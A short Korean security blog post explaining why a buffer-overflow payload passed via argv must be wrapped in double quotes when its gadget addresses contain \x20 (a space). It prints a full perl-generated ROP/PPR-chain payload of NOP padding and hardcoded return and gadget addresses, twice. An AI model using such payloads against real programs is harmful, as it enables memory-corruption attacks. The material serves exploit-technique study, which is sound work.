argv를 인자로 받을때 ppr 가젯이나 쉘코드에 \x20 이 들어 있으면
펄 or 파이썬 스크립트를 " " (더블 쿼터) 로 묶어야 한다.
\x20이 아스키 코드값으로 space(공백)인데, argv[]는
space(공백)을 토큰으로 인자 배열을 구분한다.
그래서 \x20 을 bad character 로 인식하는 듯 하다.
(정확한 건 아닌데 짐작컨데 이게 맞는듯..)
그러니까 ...
`perl -e 'print "\x90"x104,"\x10\x83\x04\x08","\xde\x84\x04\x08","\x20\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x21\xa0\x04\x08","\x2f\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x22\xa0\x04\x08","\x9d\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x23\xa0\x04\x08","\x5e\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x24\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x25\xa0\x04\x08","\x3b\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x26\xa0\x04\x08","\x16\x83\x04\x08"'`
기존의 페이로드가 이런식으로 나왔다면,
"`perl -e 'print "\x90"x104,"\x10\x83\x04\x08","\xde\x84\x04\x08","\x20\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x21\xa0\x04\x08","\x2f\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x22\xa0\x04\x08","\x9d\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x23\xa0\x04\x08","\x5e\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x24\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x25\xa0\x04\x08","\x3b\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x26\xa0\x04\x08","\x16\x83\x04\x08"'`"
요렇게 고쳐줘야 한다는 말이다.
'IT 그리고 정보보안 > Knowledge base' 카테고리의 다른 글
Ascii Armor (아스키 아머) (0) | 2021.04.15 |
---|---|
NX-bit (Non-eXecutable stack) (0) | 2021.04.15 |
RTL Chaining으로 커스텀 스택(.bss)에 문자열 저장 (0) | 2021.04.15 |
RTL Chaining (esp lifting technique) (0) | 2021.04.15 |
Frame Pointer Overwriting (0) | 2021.04.15 |